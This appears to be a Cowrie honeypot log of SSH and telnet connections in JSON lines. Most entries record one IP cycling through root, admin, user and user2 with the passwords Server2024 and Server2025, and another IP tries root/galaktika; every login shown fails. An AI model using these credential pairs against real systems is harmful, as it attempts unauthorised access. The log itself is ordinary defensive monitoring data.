{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:58.437457Z","src_ip":"103.114.153.158","session":"dafd6abb650b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:58.629277Z","src_ip":"103.114.153.158","session":"dafd6abb650b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:58.927241Z","src_ip":"88.147.30.59","session":"46c243b776a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2024","message":"login attempt [root/Server2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:59.430750Z","src_ip":"103.114.153.158","session":"dafd6abb650b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:56:59.911942Z","src_ip":"103.114.153.158","session":"dafd6abb650b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":33128,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d46271b9947","protocol":"ssh","message":"New connection: 103.114.153.158:33128 (10.17.0.5:22) [session: 3d46271b9947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:00.131217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:00.137766Z","src_ip":"103.114.153.158","session":"3d46271b9947","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:00.342752Z","src_ip":"103.114.153.158","session":"3d46271b9947","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2024","message":"login attempt [admin/Server2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:01.186304Z","src_ip":"103.114.153.158","session":"3d46271b9947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:01.667181Z","src_ip":"103.114.153.158","session":"3d46271b9947","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":33136,"dst_ip":"10.17.0.5","dst_port":22,"session":"056d82c7d1f4","protocol":"ssh","message":"New connection: 103.114.153.158:33136 (10.17.0.5:22) [session: 056d82c7d1f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:01.877203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:01.882133Z","src_ip":"103.114.153.158","session":"056d82c7d1f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:02.086839Z","src_ip":"103.114.153.158","session":"056d82c7d1f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2024","message":"login attempt [user/Server2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:02.934271Z","src_ip":"103.114.153.158","session":"056d82c7d1f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:03.414789Z","src_ip":"103.114.153.158","session":"056d82c7d1f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.015109062194824,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:03.587339Z","src_ip":"69.4.83.194","session":"297d0bedd285","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":33138,"dst_ip":"10.17.0.5","dst_port":22,"session":"22ccf0349726","protocol":"ssh","message":"New connection: 103.114.153.158:33138 (10.17.0.5:22) [session: 22ccf0349726]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:03.617480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:03.622409Z","src_ip":"103.114.153.158","session":"22ccf0349726","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:03.825923Z","src_ip":"103.114.153.158","session":"22ccf0349726","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2024","message":"login attempt [user2/Server2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:04.671099Z","src_ip":"103.114.153.158","session":"22ccf0349726","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:05.151676Z","src_ip":"103.114.153.158","session":"22ccf0349726","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":33142,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e2aba94395c","protocol":"ssh","message":"New connection: 103.114.153.158:33142 (10.17.0.5:22) [session: 7e2aba94395c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:05.379159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:05.384309Z","src_ip":"103.114.153.158","session":"7e2aba94395c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:05.592447Z","src_ip":"103.114.153.158","session":"7e2aba94395c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2025","message":"login attempt [root/Server2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:06.453990Z","src_ip":"103.114.153.158","session":"7e2aba94395c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":59802,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf565354418d","protocol":"ssh","message":"New connection: 147.45.199.80:59802 (10.17.0.5:22) [session: bf565354418d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:06.513948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:06.518909Z","src_ip":"147.45.199.80","session":"bf565354418d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:06.617227Z","src_ip":"147.45.199.80","session":"bf565354418d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"galaktika","message":"login attempt [root/galaktika] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:06.913974Z","src_ip":"147.45.199.80","session":"bf565354418d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:06.933885Z","src_ip":"103.114.153.158","session":"7e2aba94395c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":33146,"dst_ip":"10.17.0.5","dst_port":22,"session":"29838678b1e8","protocol":"ssh","message":"New connection: 103.114.153.158:33146 (10.17.0.5:22) [session: 29838678b1e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:07.130160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:07.136520Z","src_ip":"103.114.153.158","session":"29838678b1e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:07.333469Z","src_ip":"103.114.153.158","session":"29838678b1e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:08.016489Z","src_ip":"147.45.199.80","session":"bf565354418d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2025","message":"login attempt [admin/Server2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:08.153315Z","src_ip":"103.114.153.158","session":"29838678b1e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:08.633733Z","src_ip":"103.114.153.158","session":"29838678b1e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":33156,"dst_ip":"10.17.0.5","dst_port":22,"session":"459aff78fc99","protocol":"ssh","message":"New connection: 103.114.153.158:33156 (10.17.0.5:22) [session: 459aff78fc99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:08.819243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:08.824016Z","src_ip":"103.114.153.158","session":"459aff78fc99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:09.010295Z","src_ip":"103.114.153.158","session":"459aff78fc99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2025","message":"login attempt [user/Server2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:09.787745Z","src_ip":"103.114.153.158","session":"459aff78fc99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:10.268280Z","src_ip":"103.114.153.158","session":"459aff78fc99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":59122,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b9a7c152802","protocol":"ssh","message":"New connection: 103.114.153.158:59122 (10.17.0.5:22) [session: 1b9a7c152802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:10.463450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:10.468092Z","src_ip":"103.114.153.158","session":"1b9a7c152802","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:10.657755Z","src_ip":"103.114.153.158","session":"1b9a7c152802","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2025","message":"login attempt [user2/Server2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:11.435908Z","src_ip":"103.114.153.158","session":"1b9a7c152802","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:11.917268Z","src_ip":"103.114.153.158","session":"1b9a7c152802","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":59138,"dst_ip":"10.17.0.5","dst_port":22,"session":"744090ff03ad","protocol":"ssh","message":"New connection: 103.114.153.158:59138 (10.17.0.5:22) [session: 744090ff03ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:12.127918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:12.132438Z","src_ip":"103.114.153.158","session":"744090ff03ad","protocol":"ssh"}
